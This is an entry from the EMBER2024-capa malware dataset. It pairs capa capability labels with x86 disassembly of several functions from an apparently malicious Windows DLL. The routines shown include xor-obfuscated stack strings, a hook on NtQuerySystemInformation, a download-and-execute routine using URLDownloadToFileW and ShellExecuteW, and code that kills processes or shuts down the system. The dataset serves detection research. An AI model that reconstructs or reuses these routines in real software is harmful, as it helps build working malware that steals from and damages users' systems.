joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000209e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp dword [ecx + 0x70], 0
push esi
push 0xa
pop edx
mov dword [ecx + 0x4c], edx
jne 0x100020d2
mov dword [ecx + 0x70], 1
mov dword [ecx + 0x54], edx
mov esi, edx
push edi
mov edi, dword [ecx + 0x50]
lea eax, [edi + esi]
sub edx, eax
mov dword [ecx + 0x54], eax
js 0x100020cb
lea eax, [edi + 0xa]
mov dword [ecx + 0x54], eax
pop edi
pop esi
jmp fcn.10001c8c
mov esi, dword [ecx + 0x54]
mov eax, edx
sub eax, esi
cmp eax, 0x2710
jge 0x100020b5
cmp eax, 0xffffd8f0
jl 0x100020b5
test eax, eax
jns 0x100020b7
pop esi
ret

Function at 0x1000235f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
call fcn.100030eb
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov eax, dword [ebp - 4]
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
push 0x38
push eax
push esi
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], 0x2072024
mov dword [ebp - 0x1c], 0x11000
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
movlpd qword [ebp - 0x28], xmm0
call dword [esi + 0x14]
add esp, 0xc
mov ecx, esi
call fcn.1000ad8a
mov edi, eax
call fcn.1000b16d
mov dword [0x1004f36c], eax
call fcn.1000b16d
mov dword [0x1004f368], eax
call fcn.10004f28
push ebx
push ebx
push edi
push 0x10002289
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
test esi, esi
je 0x100023e8
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x100023e8

Function at 0x10002410
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
lea eax, [ebp - 0x418]
push esi
push edi
mov edi, 0x208
xor esi, esi
push edi
push esi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x418]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x1000246b
lea ecx, [ebp - 0x418]
call fcn.1000f3fb
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp 0x100024be
push edi
lea eax, [ebp - 0x210]
mov dword [ebp - 4], esi
push esi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x210]
call fcn.1000e0dc
push str._svchost.exe__Install
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
call fcn.100087ae
lea ecx, [ebp - 4]
push ecx
push dword [0x1004f378]
lea ecx, [ebp - 0x210]
push dword [0x1004f374]
push ecx
call dword [eax + 4]
add esp, 0x10
pop edi
pop esi
leave
ret
Function at 0x100024c2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
call fcn.1000ec10
push 0x208
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x208]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x208]
mov ecx, esi
call fcn.1000ed47
push esi
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov esi, 0x1004f144
mov ecx, esi
call fcn.10008910
push esi
lea edx, [ebp - 0x208]
mov ecx, 0x1004f20c
call fcn.10008a18
pop ecx
mov esi, 0x208
lea eax, [ebp - 0x410]
push esi
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x5c
push eax
call dword [sym.imp.ntdll.dll_wcsrchr]
pop ecx
pop ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
cmp dword [0x1004f360], ebx
je 0x1000260e
push esi
lea eax, [ebp - 0x618]
push ebx
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x410]
add esp, 0xc
mov ebx, 0x1004f270
push ebx
push eax
lea eax, [ebp - 0x618]
push str._s_s
push eax
call esi
push 0x1004f144
lea edx, [ebp - 0x618]
mov ecx, ebx
call fcn.10008a18
add esp, 0x14
lea eax, [ebp - 0x820]
push 0x208
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
mov ebx, 0x1004f2d4
push ebx
push eax
lea eax, [ebp - 0x820]
push str._s_s
push eax
call esi
push 0x1004f144
lea edx, [ebp - 0x820]
mov ecx, ebx
call fcn.10008a18
add esp, 0x14
xor ebx, ebx
mov ecx, 0x1004e8e0
call fcn.10008e31
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop esi
pop ebx
leave
ret

Function at 0x10002830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
test edx, edx
jle 0x10002842
xor byte [eax + ecx], 0x3a
inc eax
cmp eax, edx
jl 0x10002839
push edx
push ecx
push dword [ebp + 8]
call sub.ntdll.dll_memcpy
xor eax, eax
add esp, 0xc
inc eax
pop ebp
ret
Function at 0x1000292b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
sub esp, 0xc
mov dword [0x1004f38c], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push esi
push edi
push 0
call ebx
push 0
mov ecx, dword [eax + 0x3c]
mov edi, dword [ecx + eax + 0x80]
call ebx
add edi, eax
jmp 0x100029d3
cmp dword [edi + 0x10], 0
je 0x100029df
push 0
call ebx
mov esi, eax
add esi, dword [edi + 0x10]
mov ecx, dword [esi]
or ecx, dword [esi + 4]
je 0x100029d0
mov eax, dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
cdq
mov dword [ebp - 0xc], eax
mov edi, edx
cmp ebx, eax
jne 0x100029b6
cmp ecx, edi
jne 0x100029b6
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x1000
push esi
call ebx
mov eax, 0x100029e4
cdq
mov dword [esi], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov dword [esi + 4], edx
push 0x1000
push esi
call ebx
mov ecx, dword [esi + 0xc]
add esi, 8
mov ebx, dword [esi]
mov eax, ebx
or eax, ecx
mov eax, dword [ebp - 0xc]
jne 0x10002980
mov edi, dword [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
add edi, 0x14
cmp dword [edi], 0
mov dword [ebp - 8], edi
jne 0x1000295a
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002b62
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
xor eax, eax
mov dword [ebp - 0x50], 0x3a0a3a41
lea edi, [ebp - 0x70]
mov dword [ebp - 0x4c], 0x3a023a5c
stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0x3a093a0d
mov dword [ebp - 0x44], 0x3a033a0c
mov dword [ebp - 0x40], 0x3a173a5c
stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0x3a0e3a5b
mov dword [ebp - 0x38], 0x3a0f3a5f
mov dword [ebp - 0x34], 0x3a0e3a17
stosd dword es:[edi], eax
mov dword [ebp - 0x30], 0x3a5c3a59
mov dword [ebp - 0x2c], 0x3a173a59
mov dword [ebp - 0x28], 0x3a5e3a58
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x60]
mov dword [ebp - 0x24], 0x3a5f3a09
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x3a0d3a17
mov dword [ebp - 0x1c], 0x3a5f3a09
mov dword [ebp - 0x18], 0x3a0b3a0c
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0x3a0e3a0f
mov dword [ebp - 0x10], 0x3a0d3a0f
mov dword [ebp - 0xc], 0x3a5e3a08
stosd dword es:[edi], eax
mov dword [ebp - 8], 0x3a473a5e
mov byte [ebp - 4], 0x3a
stosd dword es:[edi], eax
lea eax, [ebp - 0x110]
mov edi, 0x9a
push edi
push ebx
push eax
call sub.ntdll.dll_memset
lea eax, [ebp - 0x110]
push eax
push 0x4d
pop edx
lea ecx, [ebp - 0x50]
call fcn.10002830
push edi
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x50], 0x3a083a41
push ebx
push eax
mov dword [ebp - 0x4c], 0x3a5b3a5c
mov dword [ebp - 0x48], 0x3a5b3a58
mov dword [ebp - 0x44], 0x3a593a0e
mov dword [ebp - 0x40], 0x3a173a0d
mov dword [ebp - 0x3c], 0x3a5e3a0e
mov dword [ebp - 0x38], 0x3a033a5b
mov dword [ebp - 0x34], 0x3a0e3a17
mov dword [ebp - 0x30], 0x3a0b3a0a
mov dword [ebp - 0x2c], 0x3a173a09
mov dword [ebp - 0x28], 0x3a0c3a03
mov dword [ebp - 0x24], 0x3a0d3a03
mov dword [ebp - 0x20], 0x3a083a17
mov dword [ebp - 0x1c], 0x3a593a0a
mov dword [ebp - 0x18], 0x3a093a59
mov dword [ebp - 0x14], 0x3a5e3a5c
mov dword [ebp - 0x10], 0x3a0a3a0e
mov dword [ebp - 0xc], 0x3a023a5c
mov dword [ebp - 8], 0x3a473a0f
mov byte [ebp - 4], 0x3a
call sub.ntdll.dll_memset
lea eax, [ebp - 0x1b0]
push eax
push 0x4d
pop edx
lea ecx, [ebp - 0x50]
call fcn.10002830
add esp, 0x20
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jns 0x10002cff
lfence
jmp 0x10002d2c
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x1b0]
push eax
call dword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
js 0x10002cfa
push esi
lea eax, [ebp - 0x60]
push eax
push 1
push ebx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10002cfa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002d31
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push ebx
push esi
push edi
push 0x52
lea eax, [ebp - 0x98]
mov dword [ebp - 0x30], edx
push 0
push eax
mov ebx, ecx
mov dword [ebp - 0x2c], 0x3a663a66
mov dword [ebp - 0x28], 0x3a533a77
mov dword [ebp - 0x24], 0x3a483a59
mov dword [ebp - 0x20], 0x3a493a55
mov dword [ebp - 0x1c], 0x3a5c3a55
mov dword [ebp - 0x18], 0x3a663a4e
mov dword [ebp - 0x14], 0x3a6d3a66
mov dword [ebp - 0x10], 0x3a543a53
mov dword [ebp - 0xc], 0x3a553a5e
mov dword [ebp - 8], 0x3a493a4d
mov byte [ebp - 4], 0x3a
call sub.ntdll.dll_memset
lea eax, [ebp - 0x98]
push eax
push 0x29
pop edx
lea ecx, [ebp - 0x2c]
call fcn.10002830
xor eax, eax
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
add esp, 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 0x10
mov eax, dword [ebx]
mov edi, esp
lea esi, [ebp - 0x40]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x40]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x40]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x40]
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0x28]
test eax, eax
jns 0x10002e06
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x10002e24
push str.MicrosoftWindows
lfence
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push dword [ebp - 0x30]
mov ecx, dword [ebx]
push eax
push ebx
call dword [ecx + 0x1c]
test eax, eax
js 0x10002dfe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000324b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
mov edi, edx
mov dword [ebp - 4], ecx
call dword [esi + 0x18]
pop ecx
cmp eax, 0x38
jb 0x100033ff
mov ebx, dword [ebp + 8]
lfence
mov eax, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov dword [ebp - 0x14], eax
push esi
call dword [esi + 0x18]
pop ecx
push eax
push 0
push esi
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
mov eax, dword [ebp - 4]
call dword [eax + 0x10]
mov dword [ebp - 0xc], eax
pop ecx
pop ecx
cmp eax, 0xffffffff
je 0x10003413
push esi
call dword [esi + 0x18]
pop ecx
cmp eax, dword [ebp - 0xc]
jb 0x100033ff
push esi
lfence
call dword [esi + 0x18]
pop ecx
cmp eax, dword [ebp - 0xc]
jb 0x100033ee
test edi, edi
je 0x100033ee
push 0x38
push 0
push edi
lfence
call sub.ntdll.dll_memset
push esi
call dword [esi + 0x18]
add esp, 0x10
cmp eax, 0x38
jb 0x100033ee
push 0x38
push edi
push esi
lfence
call dword [esi + 0x10]
add esp, 0xc
xor eax, eax
xor byte [eax + edi], 0x3a
inc eax
cmp eax, 0x38
jl 0x100032f6
mov eax, dword [edi + 0x28]
mov ecx, dword [edi + 0x2c]
mov dword [ebp + 0xc], eax
mov dword [ebp - 8], ecx
test eax, eax
je 0x100033e0
lfence
push esi
test ecx, ecx
je 0x100033a9
call dword [esi + 0x18]
pop ecx
cmp eax, dword [ebp - 8]
jb 0x100033ff
push 4
push 0x1000
push dword [ebp + 0xc]
push 0
call dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10003406
push dword [ebp - 8]
lfence
push 0
push esi
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp - 0xc]
call fcn.10013e2c
push dword [ebp - 8]
push esi
call dword [esi + 0x20]
add esp, 0x18
test ebx, ebx
je 0x1000339a
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
call fcn.10003b97
mov eax, dword [ebp + 0xc]
cmp dword [edi + 0x28], eax
je 0x10003386
mov dword [edi + 0x28], eax
push eax
push ecx
push ebx
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push edi
push dword [eax + 0x58]
call dword [eax + 0x28]
add esp, 0x18
push 0x8000
push 0
push dword [ebp - 0xc]
call dword [ebp - 0x14]
jmp 0x100033ee
call dword [esi + 0x18]
pop ecx
mov ecx, dword [ebp + 0xc]
cmp eax, ecx
jb 0x100033ff
test ebx, ebx
je 0x100033ee
push ecx
push 0
push esi
lfence
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
push ebx
call dword [ebx + 0x14]
push dword [ebp + 0xc]
push esi
call dword [esi + 0x20]
mov eax, dword [ebp - 4]
push ebx
push edi
push dword [eax + 0x58]
call dword [eax + 0x28]
add esp, 0x20
jmp 0x100033ee
mov eax, dword [ebp - 4]
push ebx
push edi
push dword [eax + 0x58]
call dword [eax + 0x28]
add esp, 0xc
push esi
lfence
call dword [esi + 0x18]
pop ecx
cmp eax, 0x38
jae 0x10003280
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 0x38
push 0
push edi
call sub.ntdll.dll_memset
add esp, 0xc
or eax, 0xffffffff
jmp 0x10003401
Function at 0x10003b01
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 0x30
pop ebx
xor esi, esi
mov dword [ebp - 0x30], 0x13121110
push esi
mov edi, ecx
mov dword [ebp - 0x2c], 0x17161514
mov dword [ebp - 0x28], 0x1b1a1918
mov dword [ebp - 0x24], 0x1f1e1d1c
mov dword [ebp - 0x20], 0x23222120
mov dword [ebp - 0x1c], 0x27262524
mov dword [ebp - 0x18], 0x2b2a2928
mov dword [ebp - 0x14], 0x2f2e2d2c
mov byte [ebp - 0x10], bl
mov dword [ebp - 0xf], 0x34333231
mov dword [ebp - 0xb], 0x38373635
mov dword [ebp - 7], 0x3c3b3a39
mov word [ebp - 3], 0x3e3d
mov byte [ebp - 1], 0x3f
call dword [sym.imp.msvcrt.dll__time64]
push eax
call dword [sym.imp.msvcrt.dll_srand]
pop ecx
pop ecx
call dword [sym.imp.msvcrt.dll_rand]
xor edx, edx
div ebx
mov al, byte [ebp + edx - 0x30]
mov byte [esi + edi], al
inc esi
cmp esi, 0x14
jb 0x10003b7b
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003b97
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
test edx, edx
jle 0x10003ba6
xor byte [eax + ecx], 0x3a
inc eax
cmp eax, edx
jl 0x10003b9d
xor eax, eax
inc eax
ret

Function at 0x100040a9
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
mov edi, dword [ecx + 0x18]
lea eax, [ebp - 0x40]
push 0x38
xor ebx, ebx
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0xc], 0x2072024
lea eax, [ebp - 0x40]
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
push 0x38
push eax
push edi
call dword [edi + 0x18]
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
lea edx, [ebp - 0x248]
mov ecx, eax
call fcn.1000ea9d
mov eax, dword [0x1004f370]
mov dword [0x1004f394], 1
mov esi, dword [eax]
jmp 0x10004124
mov eax, dword [esi]
or eax, dword [esi + 4]
je 0x10004121
push ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x10004110
mov eax, dword [0x1004f3a8]
mov ebx, dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov esi, dword [eax]
jmp 0x10004148
mov eax, dword [esi]
or eax, dword [esi + 4]
je 0x10004145
push 0
push dword [esi + 8]
call ebx
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x10004137
push str.Inject_Test
push 0x1004f338
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x10004178
push edi
call dword [edi + 0xc]
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call dword [sym.imp.KERNEL32.DLL_ExitThread]
mov esi, 0x1004e8e0
mov ecx, esi
call fcn.1000f632
mov ecx, esi
call fcn.1000f4c9
mov ecx, esi
call fcn.1000f458
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
and dword [ebp - 8], 0
call fcn.10002b62
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x100041c2
lea edx, [ebp - 8]
call fcn.10002d31
mov edx, dword [ebp - 8]
test edx, edx
je 0x100041c2
mov ecx, 0x1004ef50
call fcn.1000f72c
push edi
call dword [edi + 0xc]
mov dword [esp], 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7b
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10004377
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
push 0x38
lea eax, [ebp - 0x40]
mov esi, ecx
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x40]
push 0x38
push eax
push esi
call dword [esi + 0x10]
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 4]
add esp, 0xc
push 4
push eax
push esi
call dword [esi + 0x10]
add esp, 0xc
xor edx, edx
mov esi, str.SeShutdownPrivilege
inc edx
mov ecx, esi
call fcn.1000e88c
push 0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
mov ecx, esi
call fcn.1000e88c
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x1000465e
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1044
call sub.ntdll.dll__chkstk
push ebx
push esi
push edi
mov edi, 0x800
lea eax, [ebp - 0x1040]
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push eax
call sub.ntdll.dll_memset
push edi
lea eax, [ebp - 0x840]
push ebx
push eax
call sub.ntdll.dll_memset
push 0x38
lea eax, [ebp - 0x40]
mov dword [ebp - 8], ebx
push ebx
push eax
mov dword [ebp - 4], ebx
call sub.ntdll.dll_memset
push 0x38
lea eax, [ebp - 0x40]
push eax
push esi
call dword [esi + 0x10]
push 4
lea eax, [ebp - 8]
push eax
push esi
call dword [esi + 0x10]
push 4
lea eax, [ebp - 4]
push eax
push esi
call dword [esi + 0x10]
add esp, 0x48
cmp dword [ebp - 4], ebx
jbe 0x10004749
push dword [ebp - 4]
lea eax, [ebp - 0x1040]
push eax
push esi
call dword [esi + 0x10]
add esp, 0xc
lea edx, [ebp - 0x840]
call fcn.1000e0f6
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x840]
push str._temp
push eax
call esi
lea eax, [ebp - 0x1040]
push 0x2f
push eax
call dword [sym.imp.ntdll.dll_wcsrchr]
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x840]
push eax
call esi
push ebx
push ebx
lea eax, [ebp - 0x840]
push eax
lea eax, [ebp - 0x1040]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x10004749
push dword [ebp - 8]
lea eax, [ebp - 0x840]
push ebx
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x100049b3
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x374
push ebx
push esi
push edi
push 0x200
lea eax, [esp + 0x184]
mov ebx, edx
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [esp + 0x180]
call fcn.1000e0dc
push 0x75
lea eax, [esp + 0x109]
mov dword [esp + 0x14], 0x3a5e3a66
push 0
push eax
mov dword [esp + 0x20], 0x3a563a56
mov dword [esp + 0x24], 0x3a553a52
mov dword [esp + 0x28], 0x3a4e3a49
mov dword [esp + 0x2c], 0x3a5f3a14
mov dword [esp + 0x30], 0x3a5f3a42
mov dword [esp + 0x34], 0x3a153a1a
mov dword [esp + 0x38], 0x3a483a6a
mov dword [esp + 0x3c], 0x3a593a55
mov dword [esp + 0x40], 0x3a493a5f
mov dword [esp + 0x44], 0x3a533a49
mov dword [esp + 0x48], 0x3a003a5e
mov dword [esp + 0x4c], 0x3a7c3a41
mov dword [esp + 0x50], 0x3a083a02
mov dword [esp + 0x54], 0x3a0e3a02
mov dword [esp + 0x58], 0x3a093a08
mov dword [esp + 0x5c], 0x3a173a09
mov dword [esp + 0x60], 0x3a023a0e
mov dword [esp + 0x64], 0x3a0e3a7c
mov dword [esp + 0x68], 0x3a0e3a17
mov dword [esp + 0x6c], 0x3a023a0c
mov dword [esp + 0x70], 0x3a173a0a
mov dword [esp + 0x74], 0x3a7e3a7b
mov dword [esp + 0x78], 0x3a7e3a7e
mov dword [esp + 0x7c], 0x3a7c3a17
mov dword [esp + 0x80], 0x3a083a02
mov dword [esp + 0x84], 0x3a0e3a02
mov dword [esp + 0x88], 0x3a093a08
mov dword [esp + 0x8c], 0x3a473a09
mov byte [esp + 0x90], 0x3a
call sub.ntdll.dll_memset
add esp, 0xc
lea ecx, [esp + 0x10]
push 0x75
pop edx
call fcn.10003b97
push 0x1d
pop ecx
lea esi, [esp + 0x10]
lea edi, [esp + 0x90]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x184]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov ecx, dword [0x1004f3a8]
push 0
push ebx
call fcn.1000af29
or eax, edx
pop ecx
pop ecx
jne 0x10004bde
or dword [esp + 0x88], 0xffffffff
call fcn.100087ae
mov esi, eax
lea eax, [esp + 0x88]
push eax
push ebx
push dword [0x1004f378]
lea eax, [esp + 0x18c]
push dword [0x1004f374]
push eax
call dword [esi + 0xc]
mov eax, dword [esp + 0x9c]
add esp, 0x14
cmp eax, 0xffffffff
je 0x10004bd7
mov ecx, dword [0x1004f3a8]
cdq
push edx
push eax
push 0
push ebx
call fcn.1000aec2
add esp, 0x10
lea eax, [esp + 0x8c]
xor ebx, ebx
mov dword [esp + 0x8c], ebx
push eax
push ebx
push dword [esp + 0x90]
push 0x10004be7
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
je 0x10004bd7
mov ecx, dword [0x1004f370]
cdq
push edx
push eax
push ebx
push dword [esp + 0x98]
call fcn.1000aec2
add esp, 0x10
mov ecx, esi
call fcn.100088f1
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret